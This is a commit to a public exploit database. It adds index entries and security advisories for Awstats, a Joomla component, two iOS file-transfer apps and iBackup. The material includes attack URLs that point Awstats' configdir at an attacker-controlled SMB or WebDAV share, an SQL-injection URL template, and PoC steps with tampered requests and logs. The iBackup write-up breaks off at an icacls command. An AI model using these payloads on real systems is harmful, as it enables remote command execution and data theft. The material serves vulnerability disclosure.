Updated 10_24_2014
This commit is contained in:
Offensive Security
parent
6cd4fbf74e
commit
b7c11b0dcd
7 changed files with 698 additions and 0 deletions
|
|
@ -31548,3 +31548,9 @@ id,file,description,date,author,platform,type,port
|
||||||
35032,platforms/windows/remote/35032.rb,"Numara / BMC Track-It! FileStorageService Arbitrary File Upload",2014-10-21,metasploit,windows,remote,0
|
35032,platforms/windows/remote/35032.rb,"Numara / BMC Track-It! FileStorageService Arbitrary File Upload",2014-10-21,metasploit,windows,remote,0
|
||||||
35033,platforms/php/remote/35033.rb,"Joomla Akeeba Kickstart Unserialize Remote Code Execution",2014-10-21,metasploit,php,remote,80
|
35033,platforms/php/remote/35033.rb,"Joomla Akeeba Kickstart Unserialize Remote Code Execution",2014-10-21,metasploit,php,remote,80
|
||||||
35034,platforms/multiple/remote/35034.rb,"HP Data Protector EXEC_INTEGUTIL Remote Code Execution",2014-10-21,metasploit,multiple,remote,5555
|
35034,platforms/multiple/remote/35034.rb,"HP Data Protector EXEC_INTEGUTIL Remote Code Execution",2014-10-21,metasploit,multiple,remote,5555
|
||||||
|
35035,platforms/cgi/webapps/35035.txt,"Awstats 6.x Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability",2010-11-30,StenoPlasma,cgi,webapps,0
|
||||||
|
35036,platforms/php/webapps/35036.txt,"Annuaire Component for Joomla! 'id' Parameter SQL Injection Vulnerability",2010-12-02,"Ashiyane Digital Security Team",php,webapps,0
|
||||||
|
35037,platforms/ios/webapps/35037.txt,"iFunBox Free 1.1 iOS - File Inclusion Vulnerability",2014-10-22,Vulnerability-Lab,ios,webapps,8000
|
||||||
|
35038,platforms/ios/webapps/35038.txt,"File Manager 4.2.10 iOS - Code Execution Vulnerability",2014-10-22,Vulnerability-Lab,ios,webapps,80
|
||||||
|
35039,platforms/windows/webapps/35039.rb,"DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload",2014-10-22,"Glafkos Charalambous ",windows,webapps,0
|
||||||
|
35040,platforms/windows/local/35040.txt,"iBackup 10.0.0.32 - Local Privilege Escalation",2014-10-22,"Glafkos Charalambous ",windows,local,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
13
platforms/cgi/webapps/35035.txt
Executable file
13
platforms/cgi/webapps/35035.txt
Executable file
|
|
@ -0,0 +1,13 @@
|
||||||
|
source: http://www.securityfocus.com/bid/45123/info
|
||||||
|
|
||||||
|
Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.
|
||||||
|
|
||||||
|
An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.
|
||||||
|
|
||||||
|
AWStats 6.95 and prior versions are vulnerable.
|
||||||
|
|
||||||
|
Attacking Windows XP Apache Tomcat AWStats Server:
|
||||||
|
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav
|
||||||
|
|
||||||
|
Attacking Windows 2003 or Windows XP AWStats Server:
|
||||||
|
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share
|
||||||
240
platforms/ios/webapps/35037.txt
Executable file
240
platforms/ios/webapps/35037.txt
Executable file
|
|
@ -0,0 +1,240 @@
|
||||||
|
Document Title:
|
||||||
|
===============
|
||||||
|
iFunBox Free v1.1 iOS - File Include Vulnerability
|
||||||
|
|
||||||
|
|
||||||
|
References (Source):
|
||||||
|
====================
|
||||||
|
http://www.vulnerability-lab.com/get_content.php?id=1344
|
||||||
|
|
||||||
|
|
||||||
|
Release Date:
|
||||||
|
=============
|
||||||
|
2014-10-20
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Laboratory ID (VL-ID):
|
||||||
|
====================================
|
||||||
|
1344
|
||||||
|
|
||||||
|
|
||||||
|
Common Vulnerability Scoring System:
|
||||||
|
====================================
|
||||||
|
6.4
|
||||||
|
|
||||||
|
|
||||||
|
Product & Service Introduction:
|
||||||
|
===============================
|
||||||
|
iFunBox is a powerful file transfer and manage tool. You can use it to transfer files between Apple devices.
|
||||||
|
It’s also a full-function file explorer, with user-friendly UI and simple operations.
|
||||||
|
|
||||||
|
(Copy of the Homepage: https://itunes.apple.com/de/app/ifunbox-free/id882209383 )
|
||||||
|
|
||||||
|
|
||||||
|
Abstract Advisory Information:
|
||||||
|
==============================
|
||||||
|
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official iFunBox Free v1.1 iOS mobile web-application.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Disclosure Timeline:
|
||||||
|
==================================
|
||||||
|
2014-10-20: Public Disclosure (Vulnerability Laboratory)
|
||||||
|
|
||||||
|
|
||||||
|
Discovery Status:
|
||||||
|
=================
|
||||||
|
Published
|
||||||
|
|
||||||
|
|
||||||
|
Affected Product(s):
|
||||||
|
====================
|
||||||
|
Nguyen Anh
|
||||||
|
Product: iFunBox Free - iOS Mobile Web Application 1.1
|
||||||
|
|
||||||
|
|
||||||
|
Exploitation Technique:
|
||||||
|
=======================
|
||||||
|
Local
|
||||||
|
|
||||||
|
|
||||||
|
Severity Level:
|
||||||
|
===============
|
||||||
|
High
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details & Description:
|
||||||
|
================================
|
||||||
|
A local file include web vulnerability has been discovered in the official iFunBox Free v1.1 iOS mobile web-application.
|
||||||
|
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system
|
||||||
|
specific path commands to compromise the mobile web-application.
|
||||||
|
|
||||||
|
The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious
|
||||||
|
`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs
|
||||||
|
in the index dir listing of the wifi interface context. The attacker is able to inject the local file include request by usage of the `wifi
|
||||||
|
interface` in connection with the vulnerable upload request.
|
||||||
|
|
||||||
|
Remote attackers are also able to exploit the filename/albumname validation issue in combination with persistent injected script codes to execute
|
||||||
|
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST.
|
||||||
|
|
||||||
|
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4.
|
||||||
|
Exploitation of the local file include vulnerability requires no user interaction or privileged web-application user account. Successful exploitation
|
||||||
|
of the local file include web vulnerability results in mobile application or connected device component compromise.
|
||||||
|
|
||||||
|
Request Method(s):
|
||||||
|
[+] POST
|
||||||
|
|
||||||
|
Vulnerable Module(s):
|
||||||
|
[+] Upload (File)
|
||||||
|
|
||||||
|
Vulnerable Parameter(s):
|
||||||
|
[+] filename
|
||||||
|
|
||||||
|
Affected Module(s):
|
||||||
|
[+] iToolZip Wifi Interface (localhost:80000)
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
=======================
|
||||||
|
The local file include vulnerability can be exploited by local attackers without user interaction or privileged application user account.
|
||||||
|
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||||||
|
|
||||||
|
1. Install the mobile app to your local iOS device (iphone or ipad) [https://itunes.apple.com/de/app/ifunbox-free/id882209383]
|
||||||
|
2. Start the app and push in the right top corner the wifi transfer button
|
||||||
|
3. Take another device or computer that allows you to access the wifi file transfer interface (localhost:8000)
|
||||||
|
4. Now, the attacker uploads a file and tampers the request to manipulate the session information live
|
||||||
|
Note: He injects a payload to request a local file through the vulnerable filename value in the upload POSt emthod request
|
||||||
|
5. The code execution occurs in the inject in the wifi file dir listing web interface index (localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png)
|
||||||
|
6. Successful reproduce of the security vulnerability!
|
||||||
|
|
||||||
|
|
||||||
|
PoC: index.html (Name) [createdir?path=]
|
||||||
|
|
||||||
|
<div id="main">
|
||||||
|
<div id="header">
|
||||||
|
<form action="/files" enctype="multipart/form-data" method="post" class="upload">
|
||||||
|
<label>Select file:</label>
|
||||||
|
<input id="newfile" name="newfile" size="40" type="file">
|
||||||
|
<input name="commit" value="Upload" class="button" type="submit">
|
||||||
|
</form></div><table border="0" cellpadding="0" cellspacing="0"><thead>
|
||||||
|
<tr><th>Name</th><th class="del">Download</th><th class="del">Delete</th></tr></thead>
|
||||||
|
<tbody id="filelist"><tr><td><a class="file"><./[LOCAL FILE INCLUDE VULNERABILITY!].png">./[LOCAL FILE INCLUDE VULNERABILITY!].png</a></td><td class='del'>
|
||||||
|
<input onclick=downloadPath('%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png') name="commit" type="submit" value="Download" class='button' /></td>
|
||||||
|
<td class='del'><input onclick=deletePath('%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png%3E2.png') name="commit" type="submit"
|
||||||
|
value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr><tr class="shadow"><td><a onclick="loadPath('Applications')" class="file">Applications</a></td>
|
||||||
|
<td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Documents')" class="file">Documents</a></td><td class="del"></td><td class="del"></td></tr>
|
||||||
|
<tr class="shadow"><td><a onclick="loadPath('Games')" class="file">Games</a></td><td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Musics')"
|
||||||
|
class="file">Musics</a></td><td class="del"></td><td class="del"></td></tr><tr class="shadow"><td><a onclick="loadPath('Pictures')" class="file">Pictures</a></td>
|
||||||
|
<td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Videos')" class="file">Videos</a></td><td class="del"></td><td class="del"></td></tr></tbody></table>
|
||||||
|
|
||||||
|
|
||||||
|
--- PoC Session Logs [GET] ---
|
||||||
|
Status: 302[Found]
|
||||||
|
POST http://localhost:8000:8000/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
|
||||||
|
Request Header:
|
||||||
|
Host[localhost:8000:8000]
|
||||||
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||||||
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||||
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||||
|
Accept-Encoding[gzip, deflate]
|
||||||
|
Referer[http://localhost:8000:8000/]
|
||||||
|
Connection[keep-alive]
|
||||||
|
POST-Daten:
|
||||||
|
POST_DATA[-----------------------------94243140032725
|
||||||
|
Content-Disposition: form-data; name="newfile"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].png"
|
||||||
|
Content-Type: image/png
|
||||||
|
-
|
||||||
|
Status: 200[OK]
|
||||||
|
GET http://localhost:8000:8000/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[5753] Mime Type[application/x-unknown-content-type]
|
||||||
|
Request Header:
|
||||||
|
Host[localhost:8000:8000]
|
||||||
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||||||
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||||
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||||
|
Accept-Encoding[gzip, deflate]
|
||||||
|
Referer[http://localhost:8000:8000/]
|
||||||
|
Connection[keep-alive]
|
||||||
|
Response Header:
|
||||||
|
Accept-Ranges[bytes]
|
||||||
|
Content-Length[5753]
|
||||||
|
Date[Sun, 19 Oct 2014 17:05:59 GMT]
|
||||||
|
-
|
||||||
|
Status: 200[OK]
|
||||||
|
GET http://localhost:8000:8000/files?p= Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[369] Mime Type[application/x-unknown-content-type]
|
||||||
|
Request Header:
|
||||||
|
Host[localhost:8000:8000]
|
||||||
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||||||
|
Accept[application/json, text/javascript, */*]
|
||||||
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||||
|
Accept-Encoding[gzip, deflate]
|
||||||
|
X-Requested-With[XMLHttpRequest]
|
||||||
|
Referer[http://localhost:8000:8000/]
|
||||||
|
Connection[keep-alive]
|
||||||
|
Response Header:
|
||||||
|
Accept-Ranges[bytes]
|
||||||
|
Content-Length[369]
|
||||||
|
Date[Sun, 19 Oct 2014 17:06:00 GMT]
|
||||||
|
-
|
||||||
|
Status: 200[OK]
|
||||||
|
GET http://localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
|
||||||
|
Request Header:
|
||||||
|
Host[localhost:8000:8000]
|
||||||
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||||||
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||||
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||||
|
Accept-Encoding[gzip, deflate]
|
||||||
|
Referer[http://localhost:8000:8000/]
|
||||||
|
Connection[keep-alive]
|
||||||
|
Response Header:
|
||||||
|
Accept-Ranges[bytes]
|
||||||
|
Content-Length[0]
|
||||||
|
Date[Sun, 19 Oct 2014 17:06:01 GMT]
|
||||||
|
|
||||||
|
|
||||||
|
Solution - Fix & Patch:
|
||||||
|
=======================
|
||||||
|
The file include web vulnerability can be patched by a secure parse and encode of the filename in the upload POST method request.
|
||||||
|
To prevent the execution filter the input and restrict it on input but encode also the iToolZip wifi interface file dir list with the vulnerable name output value.
|
||||||
|
|
||||||
|
|
||||||
|
Security Risk:
|
||||||
|
==============
|
||||||
|
The security risk of the local file include web vulnerability in the iToolZo wifi web interface is estimated as high. (CVSS 6.4)
|
||||||
|
|
||||||
|
|
||||||
|
Credits & Authors:
|
||||||
|
==================
|
||||||
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||||||
|
|
||||||
|
|
||||||
|
Disclaimer & Information:
|
||||||
|
=========================
|
||||||
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||||||
|
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||||||
|
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||||||
|
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||||||
|
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||||||
|
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||||||
|
|
||||||
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||||||
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||||||
|
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||||||
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||||||
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||||||
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||||||
|
|
||||||
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||||||
|
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||||||
|
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||||||
|
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||||||
|
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||||||
|
|
||||||
|
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
--
|
||||||
|
VULNERABILITY LABORATORY RESEARCH TEAM
|
||||||
|
DOMAIN: www.vulnerability-lab.com
|
||||||
|
CONTACT: research@vulnerability-lab.com
|
||||||
|
|
||||||
|
|
||||||
213
platforms/ios/webapps/35038.txt
Executable file
213
platforms/ios/webapps/35038.txt
Executable file
|
|
@ -0,0 +1,213 @@
|
||||||
|
Document Title:
|
||||||
|
===============
|
||||||
|
File Manager v4.2.10 iOS - Code Execution Vulnerability
|
||||||
|
|
||||||
|
|
||||||
|
References (Source):
|
||||||
|
====================
|
||||||
|
http://www.vulnerability-lab.com/get_content.php?id=1343
|
||||||
|
|
||||||
|
|
||||||
|
Release Date:
|
||||||
|
=============
|
||||||
|
2014-10-21
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Laboratory ID (VL-ID):
|
||||||
|
====================================
|
||||||
|
1343
|
||||||
|
|
||||||
|
|
||||||
|
Common Vulnerability Scoring System:
|
||||||
|
====================================
|
||||||
|
9
|
||||||
|
|
||||||
|
|
||||||
|
Product & Service Introduction:
|
||||||
|
===============================
|
||||||
|
Try a file manager that’s unmatched in functionality and reliability. It was created to manage your cloud services like GoogleDrive, Dropbox,
|
||||||
|
Box, OneDrive, Yandex.Disk, and network services like FTP, SFTP, SMB, WebDAV, DLNA, photo galleries and files on your device. Manage all of
|
||||||
|
your stored data like sub-folders - copy, move, rename or compress to archive your folders and files. It supports all possible archive
|
||||||
|
formats: Zip, Rar, 7z, tar, gz, bz2. You can protect your folders and files with a password and view photo, video and audio content, as well
|
||||||
|
as documents. This application will be a great help for everyday tasks. Copy a folder from one cloud service to any other - easy! Quickly move
|
||||||
|
a folder from an archive to a cloud service - easy! Copy your gallery to a network or cloud service - easy!
|
||||||
|
|
||||||
|
(Copy of the Homepage: https://itunes.apple.com/de/app/file-manager-pro-manage-your/id926125881 )
|
||||||
|
|
||||||
|
|
||||||
|
Abstract Advisory Information:
|
||||||
|
==============================
|
||||||
|
The Vulnerability Laboratory Research team discovered a code execution vulnerability in the official DevelSoftware LTD - File Manager v4.2.10 iOS mobile application.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Disclosure Timeline:
|
||||||
|
==================================
|
||||||
|
2014-10-21: Public Disclosure (Vulnerability Laboratory)
|
||||||
|
|
||||||
|
|
||||||
|
Discovery Status:
|
||||||
|
=================
|
||||||
|
Published
|
||||||
|
|
||||||
|
|
||||||
|
Affected Product(s):
|
||||||
|
====================
|
||||||
|
DevelSoftware LTD
|
||||||
|
Product: File Manager - iOS Mobile Web Application (Wifi) 4.2.10
|
||||||
|
|
||||||
|
|
||||||
|
Exploitation Technique:
|
||||||
|
=======================
|
||||||
|
Remote
|
||||||
|
|
||||||
|
|
||||||
|
Severity Level:
|
||||||
|
===============
|
||||||
|
Critical
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details & Description:
|
||||||
|
================================
|
||||||
|
A code execution vulnerability has been discovered in the official DevelSoftware LTD - File Manager v4.2.10 iOS mobile application.
|
||||||
|
The issue allows an attacker to compromise the application and connected device components by exploitation of a system specific code
|
||||||
|
execution vulnerability in the wifi interface.
|
||||||
|
|
||||||
|
The vulnerability is located in the `Create Folder` input field of the index.html wifi web interface. The function create the path value
|
||||||
|
without any protection or filter mechanism in the GET method request. Remote attackers are able to manipulate the GET method request by
|
||||||
|
usage of the `createdir?path=` parameter to compromise the application or device. The execution of the code occurs in the index.html file
|
||||||
|
next to the name output context of the wifi share file dir listing. The attack vector is located on the application-side of the mobile app
|
||||||
|
and the request method to inject is GET.
|
||||||
|
|
||||||
|
The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.8
|
||||||
|
Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank) or user interaction.
|
||||||
|
Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or affected device component compromise.
|
||||||
|
|
||||||
|
|
||||||
|
Request Method(s):
|
||||||
|
[+] GET
|
||||||
|
|
||||||
|
Vulnerable Module(s):
|
||||||
|
[+] Create Folder
|
||||||
|
|
||||||
|
Vulnerable Parameter(s):
|
||||||
|
[+] createdir?path=(name)
|
||||||
|
|
||||||
|
Affected Module(s):
|
||||||
|
[+] Wifi Interface (index.html)
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
=======================
|
||||||
|
The code execution vulnerability can be exploited by attackers in the same local wifi without user interaction or pass code authorization.
|
||||||
|
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||||||
|
|
||||||
|
1. Install the mobile app to your local iOS device (iphone or ipad) [https://itunes.apple.com/de/app/file-manager-pro-manage-your/id926125881]
|
||||||
|
2. Start the app and push in the left corner the wifi transfer button
|
||||||
|
3. Take another device or computer that allows you to access the wifi file transfer interface (localhost:80)
|
||||||
|
4. Now, inject own code as payload by usage of the create folder input field
|
||||||
|
Note: The input field requests the path value directly via GET method request without secure parse or encode
|
||||||
|
5. The code execution occurs directly after the inject in the index.html file of the web interface
|
||||||
|
6. Successful reproduce of the security vulnerability!
|
||||||
|
|
||||||
|
|
||||||
|
PoC: index.html (Name) [createdir?path=]
|
||||||
|
|
||||||
|
<fieldset class="buttonsFieldset">
|
||||||
|
<input disabled="" value="Download Files" class="buttons" id="loadFileButton" onclick="loadFileButtonClick()" type="button">
|
||||||
|
<input value="Upload Files" class="buttons" id="uploadFilesButton" onclick="uploadFilesButtonClick()" type="button">
|
||||||
|
<input value="Create Folder" class="buttons" id="createFolderButton" onclick="createFolderButtonClick()" type="button">
|
||||||
|
<input disabled="" value="Rename" class="buttons" id="renameButton" onclick="renameButtonClick()" type="button">
|
||||||
|
<input disabled="" value="Delete" class="buttons" id="deleteButton" onclick="deleteButtonClick()" type="button">
|
||||||
|
<input value="Select All" class="buttons" id="selectAllButton" onclick="selectAllButtonClick()" type="button">
|
||||||
|
<input value="Deselect All" class="buttons" id="unselectAllButton" onclick="unselectAllButtonClick()" type="button">
|
||||||
|
</fieldset>
|
||||||
|
<div class="separator"></div>
|
||||||
|
<div class="fileListTableContainer">
|
||||||
|
<table class="table" id="fileListTable"><tbody><tr id="fileListTable_-1" class="header">
|
||||||
|
<td id="fileListTable_-1_0" class="field">Name</td><td id="fileListTable_-1_1" class="field">Ext</td><td id="fileListTable_-1_2" class="field">Size</td></tr>
|
||||||
|
<tr index="0" id="fileListTable_0" class="row"><td index="0" field="name" id="fileListTable_0_0" class="cell">>-[CODE EXECUTION VULNERABILITY!]></td>
|
||||||
|
<td index="1" field="ext" id="fileListTable_0_1" class="cell">dir</td><td index="2" field="size" id="fileListTable_0_2" class="cell"></td></tr>
|
||||||
|
<tr index="1" id="fileListTable_1" class="row"><td index="0" field="name" id="fileListTable_1_0" class="cell">testfolder1</td><td index="1" field="ext"
|
||||||
|
id="fileListTable_1_1" class="cell">dir</td><td index="2" field="size" id="fileListTable_1_2" class="cell"></td></tr><tr index="2" id="fileListTable_2"
|
||||||
|
class="row"><td index="0" field="name" id="fileListTable_2_0" class="cell">testfolder2</td><td index="1" field="ext" id="fileListTable_2_1"
|
||||||
|
class="cell">dir</td><td index="2" field="size" id="fileListTable_2_2" class="cell"></td></tr></tbody></table></div>
|
||||||
|
|
||||||
|
|
||||||
|
--- PoC Session Logs [GET] ---
|
||||||
|
Status: 200[OK]
|
||||||
|
GET http://localhost:80/createdir?path=%2F%3E%22%3C-[CODE EXECUTION VULNERABILITY!];%3E Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[43] Mime Type[application/x-unknown-content-type]
|
||||||
|
Request Header:
|
||||||
|
Host[localhost:80]
|
||||||
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||||||
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||||
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||||
|
Accept-Encoding[gzip, deflate]
|
||||||
|
Referer[http://localhost:80/index.html]
|
||||||
|
Connection[keep-alive]
|
||||||
|
Response Header:
|
||||||
|
Connection[Keep-Alive]
|
||||||
|
Content-Length[43]
|
||||||
|
|
||||||
|
|
||||||
|
Status: 200[OK]
|
||||||
|
GET http://localhost:80/-[CODE EXECUTION VULNERABILITY]; Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[application/x-unknown-content-type]
|
||||||
|
Request Header:
|
||||||
|
Host[localhost:80]
|
||||||
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||||||
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||||
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||||
|
Accept-Encoding[gzip, deflate]
|
||||||
|
Referer[http://localhost:80/index.html]
|
||||||
|
Connection[keep-alive]
|
||||||
|
Response Header:
|
||||||
|
Connection[Close]
|
||||||
|
Date[Sun, 19 Oct 2014 16:22:46 GMT]
|
||||||
|
|
||||||
|
|
||||||
|
Solution - Fix & Patch:
|
||||||
|
=======================
|
||||||
|
The vulnerability can be patched by a secure restriction and parse of the create folder input field. Encode also the vulnerable name value in the
|
||||||
|
index.html file to prevent application-side code execution attacks.
|
||||||
|
|
||||||
|
|
||||||
|
Security Risk:
|
||||||
|
==============
|
||||||
|
The security risk of the code execution web vulnerability in the path value is estimated as critical. (CVSS 8.8)
|
||||||
|
|
||||||
|
|
||||||
|
Credits & Authors:
|
||||||
|
==================
|
||||||
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||||||
|
|
||||||
|
|
||||||
|
Disclaimer & Information:
|
||||||
|
=========================
|
||||||
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||||||
|
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||||||
|
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||||||
|
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||||||
|
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||||||
|
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||||||
|
|
||||||
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||||||
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||||||
|
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||||||
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||||||
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||||||
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||||||
|
|
||||||
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||||||
|
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||||||
|
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||||||
|
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||||||
|
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||||||
|
|
||||||
|
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
|
||||||
|
|
||||||
|
|
||||||
|
--
|
||||||
|
VULNERABILITY LABORATORY RESEARCH TEAM
|
||||||
|
DOMAIN: www.vulnerability-lab.com
|
||||||
|
CONTACT: research@vulnerability-lab.com
|
||||||
|
|
||||||
|
|
||||||
7
platforms/php/webapps/35036.txt
Executable file
7
platforms/php/webapps/35036.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
||||||
|
source: http://www.securityfocus.com/bid/45147/info
|
||||||
|
|
||||||
|
The Annuaire component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||||
|
|
||||||
|
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
http://www.example.com/index.php?option=com_annuaire&view=annuaire&type=cat&id=[SQLi]
|
||||||
108
platforms/windows/local/35040.txt
Executable file
108
platforms/windows/local/35040.txt
Executable file
|
|
@ -0,0 +1,108 @@
|
||||||
|
# Exploit Title: iBackup <= 10.0.0.32 Local Privilege Escalation
|
||||||
|
# Date: 23/01/2014
|
||||||
|
# Author: Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>
|
||||||
|
# Version: 10.0.0.32
|
||||||
|
# Vendor: IBackup
|
||||||
|
# Vendor URL: https://www.ibackup.com/
|
||||||
|
# CVE-2014-5507
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Details
|
||||||
|
There are weak permissions for IBackupWindows default installation where everyone is allowed to change
|
||||||
|
the ib_service.exe with an executable of their choice. When the service restarts or the system reboots
|
||||||
|
the attacker payload will execute on the system with SYSTEM privileges.
|
||||||
|
|
||||||
|
|
||||||
|
C:\Users\0x414141>icacls "C:\Program Files\IBackupWindows\ib_service.exe"
|
||||||
|
